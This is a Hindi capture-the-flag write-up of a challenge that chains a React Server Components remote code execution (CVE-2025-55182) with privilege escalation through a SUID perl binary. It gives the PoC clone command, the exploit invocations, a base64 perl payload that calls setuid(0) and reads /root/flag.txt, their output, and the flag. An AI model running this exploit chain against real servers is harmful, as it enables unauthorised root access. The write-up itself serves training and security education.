
[First-Blood-XO] React Server Component endpoint CVE-2025-55182 (RCE) के प्रति संवेदनशील → SUID बाइनरीज़ की गणना की → /usr/bin/perl में SUID सेट था → रूट तक बढ़ने के लिए Perl के POSIX setuid(0) का उपयोग किया → /root/flag.txt पढ़ा
श्रेणी: वेब शोषण | कठिनाई: मध्यम | भेद्यता: दूरस्थ कोड निष्पादन → SUID विशेषाधिकार वृद्धि
React Server Components एंडपॉइंट CVE-2025-55182 (RCE) के लिए असुरक्षित था → SUID बाइनरीज़ की गणना → /usr/bin/perl में SUID सेट था → पर्ल के POSIX setuid(0) का उपयोग करके रूट तक पहुंच बढ़ाई → /root/flag.txt पढ़ा।
फ्लैग: MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
लक्ष्य: http://challenge.cybermesh.site:30035/
लक्ष्य एक रिएक्ट-आधारित वेब एप्लीकेशन था जो React Server Components (RSC) का लाभ उठा रहा था — एक अपेक्षाकृत नई आर्किटेक्चर जो सर्वर-साइड पर कम्पोनेंट्स को निष्पादित करती है और कस्टम वायर फॉर्मेट के माध्यम से क्लाइंट को सीरियलाइज़्ड आउटपुट स्ट्रीम करती है।
यह आर्किटेक्चर सर्वर-साइड निष्पादन सीमा उत्पन्न करता है। उस सीमा पर अनुचित इनपुट हैंडलिंग ही वह चीज है जिसका CVE-2025-55182 शोषण करता है।
React Server Components RCE — सर्वर, सर्वर-साइड कम्पोनेंट निष्पादन स्तर तक पहुंचने से पहले उपयोगकर्ता-नियंत्रित इनपुट को सैनिटाइज़ करने में विफल रहता है। इससे हमलावर को OS-स्तरीय शेल कमांड इंजेक्ट करने की अनुमति मिलती है जो Node.js प्रक्रिया के संदर्भ में निष्पादित होती हैं।
हमले का प्रवाह:
इस CVE के लिए एक सार्वजनिक PoC मौजूद है:
git clone https://github.com/surajhacx/react2shellpoc.git
cd react2shellpoc
प्रारंभिक सत्यापन — RCE और निष्पादन संदर्भ की पुष्टि:
python exploit.py -t http://challenge.cybermesh.site:30035/ -c "whoami"
आउटपुट:
[+] EXPLOITATION SUCCESSFUL
► app
सर्वर app उपयोगकर्ता के रूप में चल रहा है। रूट नहीं — विशेषाधिकार वृद्धि आवश्यक।
SUID बाइनरीज़ के लिए स्कैनिंग:
python exploit.py -t http://challenge.cybermesh.site:30035/ \
-c "find /bin /usr/bin /sbin /usr/sbin -perm -4000 2>/dev/null || true"
आउटपुट:
[+] EXPLOITATION SUCCESSFUL
► /usr/bin/gpasswd
► /usr/bin/perl <--- !!!
► /usr/bin/chsh
► /usr/bin/su
► /usr/bin/chfn
► /usr/bin/umount
► /usr/bin/mount
► /usr/bin/passwd
► /usr/bin/newgrp
/usr/bin/perl का SUID बिट सेट है। यह एक प्रसिद्ध GTFOBin है — जब पर्ल का स्वामी रूट होता है और SUID सेट होता है, तो यह इसे कॉल करने वाले से स्वतंत्र रूप से रूट विशेषाधिकारों के साथ निष्पादित होता है।
बेस64-एनकोडेड पर्ल पेलोड बनाया गया जो:
POSIX::setuid(0) को कॉल करके रूट तक बढ़ जाता है/root/flag.txt खोलता और पढ़ता हैRCE एंडपॉइंट के माध्यम से वितरित:
python exploit.py \
-t http://challenge.cybermesh.site:30035/ \
-c "echo dXNlIFBPU0lYOyRFTlZ7UEFUSH09Jy9iaW46L3Vzci9iaW4nO3NldHVpZCgwKTtvcGVuKG15JHZkQzlmbGFnLCc8JywgJy9yb290L2ZsYWcudHh0Jyk7cHJpbnQgd2hpbGUoPCR2ZEM+KTs= | base64 -d > /tmp/p.pl && /usr/bin/perl /tmp/p.pl"
डिकोडेड पेलोड मोटे तौर पर है:
use POSIX;
$ENV{PATH}='/bin:/usr/bin';
setuid(0);
open(my $vdC9flag,'<', '/root/flag.txt');
print while(<$vdC9flag>);
आउटपुट:
[+] EXPLOITATION SUCCESSFUL
► MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
MCS{P34RLLYYYYYYYYYY_R34CT_C0MP0N3NT_F0R_Y0U_SU1D_AR3_FUN_BUT_N0T_EVERYTIM3}
1. RSC हमले की सतह को कम आंका गया है। React Server Components एक नया प्रतिमान है। कई डिप्लॉयमेंट सर्वर-कम्पोनेंट सीमा पर इनपुट इंजेक्शन से सुरक्षित नहीं किए गए हैं। यह CVE एक अनुस्मारक है कि "सर्वर-साइड रेंडरिंग" स्वाभाविक रूप से सुरक्षित नहीं है — निष्पादन सीमा को अभी भी उचित सैनिटाइज़ेशन की आवश्यकता है।
2. स्क्रिप्टिंग रनटाइम पर SUID = तत्काल रूट।
/usr/bin/perl SUID के साथ एक पाठ्यपुस्तकीय गलत कॉन्फ़िगरेशन है। GTFOBins इसका विस्तार से वर्णन करता है। स्क्रिप्टिंग भाषाओं (Perl, Python, Ruby, आदि) पर कभी भी SUID बिट सेट न करें — SUID के लिए डिज़ाइन किए गए संकलित बाइनरी (su, passwd) के विपरीत, ये रनटाइम तुच्छ विशेषाधिकार वृद्धि पथ प्रदान करते हैं।
3. फ्लैग आत्म-जागरूक है।
SU1D_AR3_FUN_BUT_N0T_EVERYTIM3 — चुनौती को विशेष रूप से SUID Perl के आसपास डिज़ाइन किया गया था जो कि इच्छित विशेषाधिकार वृद्धि पथ है। साफ श्रृंखला।
CVE-2025-55182 (RSC RCE)
└─> whoami → उपयोगकर्ता "app"
└─> SUID बाइनरीज़ खोजें
└─> /usr/bin/perl (SUID root) पहचाना गया
└─> base64 पर्ल पेलोड → /tmp/p.pl में लिखें
└─> SUID perl /tmp/p.pl → setuid(0) → cat /root/flag.txt
└─> FLAG ✓
अब्दुल्लाह मकबूल द्वारा लिखित — पेनिट्रेशन टेस्टिंग इंजीनियर @ TISS | CRTA · CRTOM · CompTIA PenTest+